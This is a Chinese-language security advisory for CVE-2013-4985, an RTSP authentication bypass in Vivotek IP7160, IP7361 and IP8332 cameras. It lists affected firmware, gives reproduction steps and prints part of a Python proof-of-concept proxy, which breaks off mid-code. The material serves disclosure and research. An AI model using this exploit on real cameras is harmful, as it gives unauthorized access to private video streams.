发布日期:2013-11-05
更新日期:2013-11-10
受影响系统:
Vivotek Vivotek IP7160 IP Camera 0105b
Vivotek Vivotek IP7160 IP Camera 0105a
Vivotek Vivotek IP7361 IP Camera
Vivotek Vivotek IP8332 IP Camera
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 63541
CVE(CAN) ID: CVE-2013-4985
Vivotek IP Cameras是款网络摄像机产品。
Vivotek IP7160 IP Camera(固件版本0105a)、Vivotek IP7160 IP Camera(固件版本0105b)、Vivotek IP7361 IP Camera (固件版本0105a)、Vivotek IP7361 IP Camera(固件版本0105b)、Vivotek IP8332 IP Camera(固件版本0105a)、Vivotek IP8332 IP Camera(固件版本0105b)受到远程身份验证绕过漏洞的影响,TCP端口554收到特制的RTSP报文时可触发此漏洞,攻击者可利用此漏洞绕过身份验证机制并获取设备的未授权访问权限。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Martin Di Paola ()提供了如下测试方法:
Set the camera RTSP authentication to 'basic'.
(Assuming that the camera is located in 192.168.1.1) Run poc.py with these parameters: python poc.py 9999 192.168.1.1 554
Open a VLC media player and go to: Media > Open Network Stream.
Enter the following network URL: rtsp://localhost:9999/live.sdp.
A dialog box will asks for user/password, just click 'OK'.
You should see the RTSP live video stream; i.e., the RTSP basic authentication can by bypassed by a remote attacker.
#
# poc.py
#
# The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
# License: <a href=""></a>
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#
import sys
from socket import *
from threading import Thread
import time
LOGGING = 1
def log(s):
if LOGGING:
print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread):
def __init__(self, data_to_send, recv_addr, dst_addr):
Thread.__init__(self)
self.data_to_send = data_to_send
self.recv_addr = recv_addr
self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread):
dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d' % src_port)
self.src_port = src_port
self.dst_addr = dst_addr
UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove(self)
class PipeThread(Thread):
pipes = []